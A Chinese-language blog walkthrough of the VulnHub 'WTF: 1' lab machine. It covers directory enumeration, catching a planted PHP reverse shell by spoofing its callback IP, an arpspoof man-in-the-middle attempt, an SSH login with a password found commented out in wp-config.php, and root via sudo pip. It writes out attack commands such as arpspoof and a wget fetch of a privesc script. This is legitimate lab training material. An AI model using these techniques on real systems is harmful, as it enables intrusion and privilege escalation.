『VulnHub系列』WTF: 1-Walkthrough

靶機地址

難度:中等

靶機發布日期:2019年11月22日

在這裏插入圖片描述
靶機描述:beginner - intermediate machine, your goal is to read /root/flag.txt.

Remember, good enumeration! VMware based, you may have problems with VB.

博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:[email protected]

工具、知識點和漏洞

  • nmap
  • gobuster
  • burpsuite
  • wireshark
  • MiTM
  • /usr/bin/pip提權

存疑、待解決

  • 通過MiTM怎麼拿到shell

0x00、信息收集

靶機IP:172.16.203.128

nmap -sn 192.168.56.0/24

在這裏插入圖片描述

端口和服務

nmap -sS -sV -T5 -A -p- 172.16.203.128

在這裏插入圖片描述

頁面、目錄枚舉

gobuster dir -u http://172.16.203.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip

在這裏插入圖片描述

然後我訪問/javascript時提示禁止訪問,想着裏面會不會有什麼js腳本是突破口?然而是我想多了,最終也只發現了/javascript/jquery/jquery.js

之後用burpsuite抓包,沒什麼卵用;然後用wireshark,依然沒什麼卵用。有點絕望了啊!!!

想到靶機的描述裏面有這麼一句話Remember, good enumeration!。隨機換了個字典,接着用gobuster掃它,掃它,掃它。

在這裏插入圖片描述

字典用的是Github上21.8k Star https://github.com/danielmiessler/SecLists。之前已經把kali自帶的字典全部試過了~,對,全部。

哦豁,發現了/zhkh,用的wordpress

在這裏插入圖片描述

然而之後發現請求了192.168.1.13,因爲之前EVM:1那個靶機也是類似的情況。所以我修改了Host only網卡的IP和子網掩碼,可是並不能使靶機自動獲取到這個192.168.1.13的地址

後來一個老哥說可以這麼操作,我真是菜~

在這裏插入圖片描述

因爲響應body裏面有192.168.1.13,所以直接用靶機的IP給它替換掉。

在這裏插入圖片描述

正常顯示首頁之後,四處點了點,沒發現什麼。wordpress的版本是5.3,發佈不到一個月,所以漏洞什麼的就不要想了。之後爆破了一下admin用戶的密碼,無果。

0x01、發現shell.php

秉承着good enumeration的無上原則,用gobuster對着/zhkh/wp-content/又是一頓掃,發現/uploads

在這裏插入圖片描述

在這裏插入圖片描述

之後發現了shell.php

在這裏插入圖片描述

直接訪問shell.php得到一串警告,之後burpsuite抓包

在這裏插入圖片描述

隨後使用curl請求了一下,發現響應包中的Content-Length是104,而我們之前用burpsuite抓包得到的是90。

這裏是在burpsuite中選中/zhkh/wp-content/uploads/uigen_2019/shell.php,然後右鍵拷貝成curl命令

在這裏插入圖片描述

然而好像沒什麼卵用。到網上搜了一下錯誤提示,有了如下的發現。

在這裏插入圖片描述

從這裏可以基本斷定這就是一個reverse shell的php,然而裏面的ip和都不知道,而且即便知道了配置起來好像也不是那麼容易。

0x02、中間人攻擊

請教了老哥之後,說是可以直接用MiTM(中間人攻擊)搞一波,給了MiTM四個字符之後隨即絕塵而去,我真是羨慕這樣瀟灑的背影~

出於好奇我想用wireshark抓取Host only對應的網卡(eth1)的流量,看看我直接訪問shell.php的時候能不能抓到什麼東西。

在這裏插入圖片描述

在這裏插入圖片描述

從圖中可以看到192.168.11.131(源IP)向192.168.1.14(目的IP)發起了請求。192.168.11.131是靶機的IP,請原諒它的IP總是變動~,我的鍋;還記得之前wordpress首頁向192.168.1.13發送請求嗎?所以這裏的192.168.1.14應該就是接收shell會話的攻擊機的地址了。這是按常理推斷,如果我的靶機IP是192.168.1.13,那麼我的攻擊機應該是處在同網段的,而抓取流量的過程中只出現了192.168.1.14,所以shell.php裏面的接收shell會話的IP就是這個了。

還有就是源IP的端口是41262,目的IP的端口是5555(也就是說nc的監聽端口是5555),目前還不知道這些信息有沒有用。因爲之前沒有接觸過MiTM,所以都是現學現賣~

投機取巧getshell

第二天突然想到好像可以不用MiTM這種手法,因爲畢竟是本地的靶機,所以也可以修改一下虛擬機軟件的網絡配置,比如NAT模式的網絡配置改成192.168.1.0/24,之後再給kali配置一個靜態IP192.168.1.14~

在這裏插入圖片描述

在這裏插入圖片描述

MiTM獲取shell

演示完了投機取巧的辦法之後,老老實實的回來研究怎麼通過MiTM獲取shell。這裏推薦一篇阿里巴巴的表哥寫的文章:中間人攻擊(MITM)姿勢總結,四個字形容:圖文並茂。

瞭解了ARP的原理之後,我就想,我直接在靶機發送廣播(ARP Request)的時候,告訴靶機“kali就是192.168.1.14”不就好了?

我這裏用的工具是arpspoof,kali 2019.4已經沒有這個工具了,需要通過安裝dsniff後才能使用。

arpspoof -i eth0 -t 192.168.1.129 192.168.1.14 # 告訴靶機(192.168.1.129),“kali就是`192.168.1.14`”

然後使用curl訪問shell.php,結果報錯了。

在這裏插入圖片描述

同一時間,wireshark抓包的結果如下:

在這裏插入圖片描述

折騰了許久沒能getshell,先放一放。有表哥知道怎麼弄的話,麻煩給個思路,先謝過了。

0x03、權限提升

--------------------------------------------------------------Begin 套話分割線 Begin--------------------------------------------------------------

關於Linux提權,可以直接用腳本蒐集一下對於提權有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下沒有腳本的情況下怎麼收集這些信息可以參考privilege_escalation_-_linux

先在kali上開啓HTTP服務

python -m SimpleHTTPServer 65534

使用wget下載linuxprivchecker.py腳本到靶機的tmp目錄

因爲本人所在的地理位置不允許直接訪問Github,所以我是從自己的kali下載的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

爲了便於查看收集到的信息,我將結果輸出到report.txt文本中,之後使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶機做了這些後發現還是手動收集更快……,手動收集不到有效信息的情況下再嘗試用腳本。

-------------------------------------------------------------- End 套話分割線 End --------------------------------------------------------------

SUID權限可執行文件,沒有可用的

find / -perm -u=s -type f 2>/dev/null

常見的SUID提權可執行文件

  • nmap
  • vim
  • less
  • more
  • nano
  • cp
  • mv
  • find
  • wget
  • bash

當前用戶可寫文件,發現一堆,但是極大多數都是沒用的,所以我先把結果輸出到文本文件,然後使用grep加上關鍵字去篩選。但是也沒發現什麼有用的信息。

find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys|/var/www/html/zhkh' /tmp/report.txt

查看計劃任務,無

cat /etc/crontab

查找sudo權限命令,需要輸入密碼

sudo -l

查看/etc/passwd發現一個用戶ra,之前端口掃描的時候發現SSH服務在運行,所以可以嘗試爆破一下。用kali自帶的fasttrack.txt字典爆破無果之後就沒有再去嘗試用其他的字典再嘗試了。

uame -a查看內核版本爲4.19.0-6-amd64,這個先留着吧

本來想用netstat查看一下有沒有什麼只能本地訪問的服務的,結果沒裝~

隨後打開了wordpress的配置文件wp-config.php,發現數據庫的用戶是ra,跟系統用戶名一樣,所以嘗試直接用數據庫的密碼登錄一下,結果密碼不對。然後就繼續往下翻了翻,發現有一串註釋掉的字符串Db]f{He3HgO(z,好生奇怪,雖然沒有深入研究過wordpress,但直覺告訴我,這串字符串有問題,正所謂事出無常必有妖

在這裏插入圖片描述

接着把它當作ra用戶的密碼,嘗試通過SSH登錄了一下,嗯~直接登錄成功了。不好意思,我當時直接笑出了聲……

緊直接讀取了.bash_history,發現之前執行過find . -exec "whoami" \;,隨即猜測find可能是有SUID權限的,試了一下發現是我想太多。

在這裏插入圖片描述

重新執行了一下sudo -l,發現/usr/bin/pip可以以root用戶的權限執行。到https://gtfobins.github.io/查了一下,發現有現成的payload,直接照搬即可獲得root權限。

在這裏插入圖片描述

在這裏插入圖片描述

請原諒此處的馬賽克,感謝理解。

如果你有其他的方法,歡迎留言。要是有寫錯了的地方,請你一定要告訴我。要是你覺得這篇博客寫的還不錯,歡迎分享給身邊的人。我是ins1ght.

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章